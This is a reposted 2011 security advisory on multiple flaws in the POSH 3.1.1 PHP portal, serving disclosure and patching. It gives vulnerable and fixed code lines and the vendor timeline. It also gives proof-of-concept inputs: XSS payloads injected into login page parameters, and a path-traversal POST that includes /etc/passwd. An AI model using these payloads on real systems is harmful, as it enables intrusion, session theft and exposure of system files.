www.2cto.com：致各位转载的同志们，请您在转载时给本站留个链接或者写一个转自本站，多谢多谢。

我们的文章都经过我们的辛勤加工，是有成本在里面的，请您多多支持，让我们能够发展的更好，我们才能做出更多的奉献

 

标题: POSH <= 3.1.1 Multiple Vulnerabilities 

作者: CrashFr 

开发者: http://sourceforge.net/projects/posh/ 

受影响版本: 3.1.1 

测试平台: Linux 

 

# 

//----- Advisory 

Program          : POSH 3.1.1 and prior 

 

Vendor           : www.portaneo.com 

 

Homepage         : http://sourceforge.net/projects/posh/ 

 

Discovery        : 2011/09/19 

 

Author Contacted : 2011/09/20 

 

Found by         : CrashFr 

 

This Advisory    : CrashFr 

//----- 程序说明：

POSH (Portaneo Open Source Homepage) is a personalizable interface (Netvibes, iGoogle) that can be used in a web application or educational / enterprise intranet context. Enterprise version adds social network, notebooks and search feature. 

//----- 缺陷分析

Local File Inclusion, Cross-Site Scripting (XSS) and Information Disclosure vulnerabilities were identified within POSH version 3.1.1 

--- 信息泄露--- 

- http://www.2cto.com /posh/portal/login.php?lang=fr-en 

 

    - 缺陷在includes/sessions.inc.php  上

 

        Replace: 

 

        if (    preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) { 

 

            $_SESSION['lang'] = $_GET["lang"]; 

 

        By: 

 

        if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) { 

 

            $_SESSION['lang'] = $_GET["lang"]; 

 

  

 

  

 

--- XSS --- 

 

- http://www.2cto.com /posh/portal/login.php?message=XSS%20Catched%20!%22%29%29;alert%28%22XSS%22%29;// 

 

    - 缺陷在: templates/default/login.php line 42 

 

        Replace: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.$message.'"));</script></font><br /><br />'; 

 

        By: if ($message!='') echo '<font color="#ff0000"><script type="text/javascript">document.write(lg("'.htmlspecialchars($message).'"));</script></font><br /><br />'; 

 

  

 

- http://www.2cto.com /posh/admin/login.php?extid=ok%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E 

 

    - 缺陷在: templates/default/login_adminsimplified.php line 93 

 

        Replace: <input type="hidden" name="extid" maxlength="16" value="<?php echo $extid; ?>" class="thinbox" /> 

 

        By: <input type="hidden" name="extid" maxlength="16" value="<?php if(is_int($extid)){ echo $extid; } ?>" class="thinbox" /> 

 

- http://www.2cto.com /posh/admin/index.php?extid=1%29;alert%28%27XSS%27 

 

    - 缺陷在: templates/default/index_adminsimplified.php line 67 and 70 

 

        Replace: $p.admin.widgets.loadModExtId(<?php echo $extid; ?>); 

 

        By: $p.admin.widgets.loadModExtId(<?php if(is_int($extid)){ echo $extid; } ?>); 

 

        Replace: $p.admin.widgets.refreshIcons(icon,<?php echo $extid; ?>); 

 

        By: $p.admin.widgets.refreshIcons(icon,<?php if(is_int($extid)){ echo $extid; } ?>); 

 

  

 

  

 

--- 本地文件包含--- 

 

- http://www.2cto.com /posh/portal/scr_changelang.php => POST lang=../../../../../../etc/passwd%00 

 

    POST http://www.2cto.com /posh/portal/scr_changelang.php HTTP/1.1 

 

    lang=../../../../../../../../../../../../../../../../etc/passwd%00 

 

      

 

    - Call http://www.2cto.com /posh/portal/moduleff.php for example to see the result (a lot of page use __LANG to include lang file) 

 

    - 缺陷在portal/scr_changelang.php line 67 

 

        Replace: $_SESSION['lang']=$lang; 

 

        By: if ((preg_match( '/^[a-z]{2}$/', $_GET["lang"] ) || preg_match( '/^[a-z]{2}\-[a-z]{2}$/', $_GET["lang"] )) && is_file('../l10n/'.$_GET["lang"].'/lang.php')) { 

 

            $_SESSION['lang']=$lang; 

 

            } 

 

  

 

  

 

//-----解决方法：

 

  

 

Apply patchs 

 

Upgrade POSH to 3.1.2 

  

 

//----- 时间轴

 

2011-09-20- Reported to vendor 

 

2011-09-21- Vendor Reply 

 

2011-09-25- Vendor released POSH 3.1.2 

 

2011-10-10- Vulnerability Disclosed 

//----- Credits 

http://www.sysdream.com 

 

crashfr at sysdream dot com 

 

//----- Greetings 

 

HZV (http://www.hackerzvoice.net)